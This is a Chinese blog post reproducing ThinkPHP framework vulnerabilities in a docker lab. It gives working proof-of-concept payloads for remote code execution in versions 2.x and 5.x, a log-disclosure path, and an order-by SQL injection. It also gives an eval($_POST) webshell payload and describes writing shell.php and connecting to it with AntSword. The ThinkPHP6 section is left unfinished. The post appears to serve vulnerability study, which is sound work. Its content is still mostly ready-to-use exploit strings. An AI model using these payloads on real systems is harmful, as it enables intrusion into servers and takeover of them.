ThinkPHP介绍
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
漏洞复现
1、ThinkPHP2.x远程代码执行漏洞
ThinkPHP ThinkPHP 2.x版本中,preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致输入参数被插入双引号中当做代码函数执行,因此造成任意代码执行漏洞。
在ThinkPHP3.0的版本中也没有修复此问题。
docker拉一下vulfocus的thinkphp2环境,好用又方便
POC尝试一波~~
/index.php?s=/index/index/aaa/${@phpinfo()}
进一步利用上传连一下马
POC
/index.php?s=/index/index/aaa/${${@eval($_POST[pass])}}
影响范围
ThinkPHP2.x
2、ThinkPHP3.2.3 SQL注入漏洞
3、ThinkPHP3日志泄露
直接访问日志目录,可以看到泄露的日志thinkphp日志文件。
/Application/Runtime/Logs/Home/21_04_20.log
影响范围
ThinkPHP3.1-3.2
4、ThinkPHP5.0.23远程代码执行漏洞
在ThinkPHP5.0.23以前版本中,获取的method的方法中没有准确的处理方法名,因此可以调用request方法构造利用点。
抓包修改请求方式POST,POC利用,写入shell.php
POC
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
写入shell.php
蚁剑连一波
影响范围
低于ThinkPHP5.0.23版本
5、ThinkPHP5.0.21远程命令执行漏洞
Thinkphp5.x 版本中没有对路由中的控制器进行严格过滤,没有开启强制路由的情况下可以执行系统命令。
漏洞利用路径poc
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
影响范围
5.x < 5.1.31, <= 5.0.23
6、ThinkPHP5.1.X SQL注入漏洞
在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。
POC地址
index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`
影响范围
ThinkPHP 5.1.X
6、ThinkPHP6 SQL注入漏洞
该漏洞可控制写入文件名与路径,在特定条件下可控制内容,远程执行命令。
因为在thinkphp6下session是默认关闭的,在这里是需要我们手动开启的,在app/middleware.php文件下。
修改app
构造poc
最后这里不知道是哪里出了问题创建不了,session也开了,有哪位大佬帮忙指点一下。
下一章节thinkphp漏洞分析